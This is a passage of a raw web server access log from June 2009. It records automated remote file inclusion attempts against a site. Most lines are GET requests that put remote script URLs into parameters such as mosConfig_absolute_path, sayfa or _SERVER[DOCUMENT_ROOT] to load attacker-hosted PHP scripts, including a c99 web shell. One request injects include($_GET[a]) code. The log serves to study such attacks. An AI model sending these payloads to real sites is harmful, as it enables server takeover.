rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11" 200.175.202.106 - - [25/Jun/2009:16:43:14 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 783 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:43:16 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 785 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:43:18 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 46882 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:43:22 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 783 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:43:24 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 302 785 "-" "libwww-perl/5.805" 200.175.202.106 - - [25/Jun/2009:16:43:25 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://w7ed.by.ru/c99.txt???? HTTP/1.1" 200 46882 "-" "libwww-perl/5.805" 220.79.47.122 - - [25/Jun/2009:17:07:23 -0600] "GET /rfi.txt/?sIncPath=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 404 502 "-" "Mozilla/5.0" 220.79.47.122 - - [25/Jun/2009:17:07:23 -0600] "GET /?sIncPath=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 302 736 "-" "Mozilla/5.0" 220.79.47.122 - - [25/Jun/2009:17:07:24 -0600] "GET /?sIncPath=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 200 108991 "-" "Mozilla/5.0" 189.74.48.98 - - [25/Jun/2009:17:16:11 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:17:29:53 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 724 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:17:43:55 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 738 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:18:02:37 -0600] "GET //index.php?section=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 725 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:18:02:38 -0600] "GET /index.php?sayfa=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 723 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:18:02:39 -0600] "GET /index.php?sayfa=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 727 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.48.98 - - [25/Jun/2009:18:03:44 -0600] "GET //?mosConfig_absolute_path=http://rox-crime.no-ip.org:8080/spread.txt?? HTTP/1.1" 302 741 "-" "Mozilla/3.0 (compatible; Indy Library)" 217.65.6.12 - - [25/Jun/2009:18:59:28 -0600] "GET /rfi.txt//akocomments.php?mosConfig_absolute_path=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 404 533 "-" "Mozilla/5.0" 217.65.6.12 - - [25/Jun/2009:18:59:28 -0600] "GET //akocomments.php?mosConfig_absolute_path=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 302 787 "-" "Mozilla/5.0" 217.65.6.12 - - [25/Jun/2009:18:59:29 -0600] "GET //akocomments.php?mosConfig_absolute_path=http://katalogus.henze.hu/uiu.txt?? HTTP/1.1" 404 34238 "-" "Mozilla/5.0" 212.227.114.159 - - [25/Jun/2009:19:17:16 -0600] "GET ///vwar/backup/errors.php?error=http://201.16.248.189/manual/howto/bot_site.gif? HTTP/1.1" 302 790 "-" "libwww-perl/5.805" 212.227.114.159 - - [25/Jun/2009:19:17:17 -0600] "GET ///vwar/backup/errors.php?error=http://201.16.248.189/manual/howto/bot_site.gif? HTTP/1.1" 404 33599 "-" "libwww-perl/5.805" 124.0.145.1 - - [25/Jun/2009:19:51:04 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 124.0.145.1 - - [25/Jun/2009:19:51:04 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 758 "-" "Mozilla/5.0" 124.0.145.1 - - [25/Jun/2009:19:51:06 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 200 109096 "-" "Mozilla/5.0" 203.237.238.234 - - [25/Jun/2009:20:40:14 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 203.237.238.234 - - [25/Jun/2009:20:40:14 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 203.237.238.234 - - [25/Jun/2009:20:40:16 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 33756 "-" "Mozilla/5.0" 203.237.238.234 - - [25/Jun/2009:20:40:19 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 203.237.238.234 - - [25/Jun/2009:20:40:19 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 203.237.238.234 - - [25/Jun/2009:20:40:20 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 33755 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:43:38 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:43:39 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 302 843 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:43:43 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 33818 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:43:43 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 33756 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:44:51 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:44:51 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 302 843 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:44:52 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 33818 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:44:52 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 33756 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:49:05 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 190.144.44.36 - - [25/Jun/2009:20:49:40 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://gana.net/kboard_v2/kboard/id1.txt? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 87.16.80.63 - - [26/Jun/2009:11:41:14 -0600] "GET /xGB.php?act=admin&do=http://87.117.231.182/kip.txt? HTTP/1.1" 302 762 "-" "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)" 87.16.80.63 - - [26/Jun/2009:11:41:15 -0600] "GET /xGB.php?act=admin&do=http://87.117.231.182/kip.txt? HTTP/1.1" 404 33498 "-" "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)" 72.82.228.83 - - [26/Jun/2009:11:43:23 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 302 875 "-" "Mozilla/5.0" 72.82.228.83 - - [26/Jun/2009:11:43:23 -0600] "GET /rfi.txt%20%20//skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 302 889 "-" "Mozilla/5.0" 72.82.228.83 - - [26/Jun/2009:11:43:23 -0600] "GET /rfi.txt%20%20//skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 302 889 "-" "Mozilla/5.0" 72.82.228.83 - - [26/Jun/2009:11:43:24 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 404 33981 "-" "Mozilla/5.0" 72.82.228.83 - - [26/Jun/2009:11:43:24 -0600] "GET /rfi.txt%20%20//skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 404 34039 "-" "Mozilla/5.0" 72.82.228.83 - - [26/Jun/2009:11:43:24 -0600] "GET /rfi.txt%20%20//skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 404 34040 "-" "Mozilla/5.0" 87.230.22.39 - - [26/Jun/2009:11:43:25 -0600] "GET /rfi.txt//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 598 "-" "Mozilla/5.0" 87.230.22.39 - - [26/Jun/2009:11:43:25 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 852 "-" "Mozilla/5.0" 72.82.228.83 - - [26/Jun/2009:11:43:26 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 302 875 "-" "Mozilla/5.0" 87.230.22.39 - - [26/Jun/2009:11:43:26 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 33857 "-" "Mozilla/5.0" 72.82.228.83 - - [26/Jun/2009:11:43:26 -0600] "GET //skin_shop/standard/2_view_body/body_default.php?GOODSno=deadbeef&GOODSgs_input=deadbeef&shop_this_skin_path=http://www.clangamingleague.com/ladder//themes/id1.txt? HTTP/1.1" 404 33981 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:11:44:07 -0600] "GET /rfi.txt//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 598 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:11:44:06 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 852 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:11:44:07 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 33957 "-" "Mozilla/5.0" 202.191.43.177 - - [26/Jun/2009:11:47:02 -0600] "GET /errors.php?error=http://201.16.248.189/manual/howto/bot_site.gif? HTTP/1.1" 302 776 "-" "libwww-perl/5.805" 202.191.43.177 - - [26/Jun/2009:11:47:03 -0600] "GET /errors.php?error=http://201.16.248.189/manual/howto/bot_site.gif? HTTP/1.1" 404 33550 "-" "libwww-perl/5.805" 87.16.80.63 - - [26/Jun/2009:11:53:49 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://87.117.231.182/kip.txt? HTTP/1.1" 302 775 "-" "Advanced Browser (http://www.avantbrowser.com)" 87.16.80.63 - - [26/Jun/2009:11:53:51 -0600] "GET /convert/mvcw.php?step=1&vwar_root=http://87.117.231.182/kip.txt? HTTP/1.1" 404 33550 "-" "Advanced Browser (http://www.avantbrowser.com)" 66.11.230.36 - - [26/Jun/2009:12:00:24 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:12:00:24 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 817 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:12:00:24 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 33915 "-" "Mozilla/5.0" 87.230.22.39 - - [26/Jun/2009:12:01:56 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 87.230.22.39 - - [26/Jun/2009:12:01:56 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 817 "-" "Mozilla/5.0" 87.230.22.39 - - [26/Jun/2009:12:01:57 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 33733 "-" "Mozilla/5.0" 94.23.195.160 - - [26/Jun/2009:12:14:33 -0600] "GET /errors.php?error=http://www.brun-sylvain.fr/idv6.txt??? HTTP/1.1" 302 766 "-" "libwww-perl/5.826" 94.23.195.160 - - [26/Jun/2009:12:14:34 -0600] "GET /errors.php?error=http://www.brun-sylvain.fr/idv6.txt??? HTTP/1.1" 404 33510 "-" "libwww-perl/5.826" 94.23.195.160 - - [26/Jun/2009:12:18:52 -0600] "GET /rfi.txt/errors.php?error=http://www.brun-sylvain.fr/idv6.txt??? HTTP/1.1" 404 512 "-" "libwww-perl/5.826" 189.74.49.97 - - [26/Jun/2009:13:03:45 -0600] "GET /index.php?option=http://rox-crime.no-ip.org:8080/cmd-prendedor.txt?? HTTP/1.1" 302 731 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.49.97 - - [26/Jun/2009:13:05:57 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://rox-crime.no-ip.org:8080/cmd-prendedor.txt?? HTTP/1.1" 302 745 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.11.230.36 - - [26/Jun/2009:13:08:16 -0600] "GET /rfi.txt//components/com_virtuemart/js/dtree=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 537 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:13:08:16 -0600] "GET //components/com_virtuemart/js/dtree=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:13:08:17 -0600] "GET //components/com_virtuemart/js/dtree=http://lineage2.stratics.com/staff/id.txt HTTP/1.1" 404 33652 "-" "Mozilla/5.0" 189.74.49.97 - - [26/Jun/2009:13:09:01 -0600] "GET //index.php?section=http://rox-crime.no-ip.org:8080/cmd-prendedor.txt?? HTTP/1.1" 302 732 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.49.97 - - [26/Jun/2009:13:09:01 -0600] "GET /index.php?sayfa=http://rox-crime.no-ip.org:8080/cmd-prendedor.txt?? HTTP/1.1" 302 730 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.49.97 - - [26/Jun/2009:13:09:01 -0600] "GET /index.php?sayfa=http://rox-crime.no-ip.org:8080/cmd-prendedor.txt?? HTTP/1.1" 302 734 "-" "Mozilla/3.0 (compatible; Indy Library)" 189.74.49.97 - - [26/Jun/2009:13:10:42 -0600] "GET //?mosConfig_absolute_path=http://rox-crime.no-ip.org:8080/cmd-prendedor.txt?? HTTP/1.1" 302 748 "-" "Mozilla/3.0 (compatible; Indy Library)" 66.11.230.36 - - [26/Jun/2009:13:12:16 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/html/shop.browse.php?mosCOnfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 587 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:13:12:16 -0600] "GET //administrator/components/com_virtuemart/html/shop.browse.php?mosCOnfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 841 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:13:12:17 -0600] "GET //administrator/components/com_virtuemart/html/shop.browse.php?mosCOnfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 34035 "-" "Mozilla/5.0" 70.38.31.50 - - [26/Jun/2009:13:13:13 -0600] "GET //main.php?sayfa=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 764 "-" "Mozilla/5.0" 70.38.31.50 - - [26/Jun/2009:13:13:14 -0600] "GET /rfi.txt%20%20//main.php?sayfa=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 302 778 "-" "Mozilla/5.0" 70.38.31.50 - - [26/Jun/2009:13:13:14 -0600] "GET //main.php?sayfa=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33505 "-" "Mozilla/5.0" 70.38.31.50 - - [26/Jun/2009:13:13:14 -0600] "GET /rfi.txt%20%20//main.php?sayfa=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 33564 "-" "Mozilla/5.0" 70.38.31.50 - - [26/Jun/2009:13:16:03 -0600] "GET /rfi.txt//main.php?sayfa=http://buminch.org/bbs/fx29id1.txt??? HTTP/1.1" 404 510 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:13:21:52 -0600] "GET /rfi.txt//administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 587 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:13:21:52 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 841 "-" "Mozilla/5.0" 66.11.230.36 - - [26/Jun/2009:13:21:53 -0600] "GET //administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 33985 "-" "Mozilla/5.0" 131.203.76.246 - - [26/Jun/2009:14:10:54 -0600] "GET /rfi.txt//com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.usher.co.kr//flvPlay/fx29id.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 131.203.76.246 - - [26/Jun/2009:14:10:54 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.usher.co.kr//flvPlay/fx29id.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 131.203.76.246 - - [26/Jun/2009:14:10:55 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.usher.co.kr//flvPlay/fx29id.txt? HTTP/1.1" 404 33718 "-" "Mozilla/5.0" 123.143.98.5 - - [26/Jun/2009:14:16:57 -0600] "GET /rfi.txt//xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://www.usher.co.kr//flvPlay/fx29id.txt?? HTTP/1.1" 404 600 "-" "Mozilla/5.0" 123.143.98.5 - - [26/Jun/2009:14:16:57 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://www.usher.co.kr//flvPlay/fx29id.txt?? HTTP/1.1" 302 843 "-" "Mozilla/5.0" 123.143.98.5 - - [26/Jun/2009:14:16:58 -0600] "GET //xoops_lib/modules/protector/oninstall.php?mydirname=a%7B%7Dinclude_GETa;function%20v&a=http://www.usher.co.kr//flvPlay/fx29id.txt?? HTTP/1.1" 404 33836 "-" "Mozilla/5.0" 131.203.76.246 - - [26/Jun/2009:14:31:32 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://www.usher.co.kr//flvPlay/fx29id.txt? HTTP/1.1" 404 564 "-" "Mozilla/5.0" 131.203.76.246 - - [26/Jun/2009:14:31:32 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.usher.co.kr//flvPlay/fx29id.txt? HTTP/1.1" 302 818 "-" "Mozilla/5.0" 131.203.76.246 - - [26/Jun/2009:14:31:34 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.usher.co.kr//flvPlay/fx29id.txt? HTTP/1.1" 404 33715 "-" "Mozilla/5.0" 123.143.98.5 - - [26/Jun/2009:14:49:27 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://www.usher.co.kr//flvPlay/fx29id.txt?? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 123.143.98.5 - - [26/Jun/2009:14:49:27 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.usher.co.kr//flvPlay/fx29id.txt?? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 123.143.98.5 - - [26/Jun/2009:14:49:28 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.usher.co.kr//flvPlay/fx29id.txt?? HTTP/1.1" 404 33725 "-" "Mozilla/5.0" 87.118.90.151 - - [26/Jun/2009:14:58:21 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a22222.altervista.org/id.txt? HTTP/1.1" 302 812 "-" "libwww-perl/5.805" 87.118.90.151 - - [26/Jun/2009:14:58:24 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a22222.altervista.org/id.txt? HTTP/1.1" 404 33679 "-" "libwww-perl/5.805" 87.118.90.151 - - [26/Jun/2009:15:22:11 -0600] "GET /rfi.txt//com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a22222.altervista.org/id.txt? HTTP/1.1" 404 558 "-" "libwww-perl/5.805" 87.118.90.151 - - [26/Jun/2009:15:22:11 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a22222.altervista.org/id.txt? HTTP/1.1" 302 812 "-" "libwww-perl/5.805" 87.118.90.151 - - [26/Jun/2009:15:22:12 -0600] "GET //com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a22222.altervista.org/id.txt? HTTP/1.1" 404 33679 "-" "libwww-perl/5.805" 202.70.83.4 - - [26/Jun/2009:15:51:40 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 302 755 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:51:44 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:51:41 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 200 30408 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:51:45 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 109215 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:51:57 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 302 755 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:05 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 302 755 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:09 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 302 755 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:06 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 200 15928 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:10 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 200 15928 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:19 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:51:59 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 200 91224 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:26 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:20 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 15928 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:44 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 302 755 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:27 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 24616 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:45 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 200 15928 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:55 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:53:04 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:53:12 -0600] "GET //index.php?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 302 755 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:52:57 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 15928 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:53:18 -0600] "GET //index.php?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:53:05 -0600] "GET /?sayfa=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 50680 "-" "libwww-perl/5.803" 202.70.83.4 - - [26/Jun/2009:15:53:13 -0600] "GET /?sayfa=http://www.sancalogero.net/portal/upload/drivid.txt?? HTTP/1.1" 200 15928 "-" "libwww-perl/5.803" 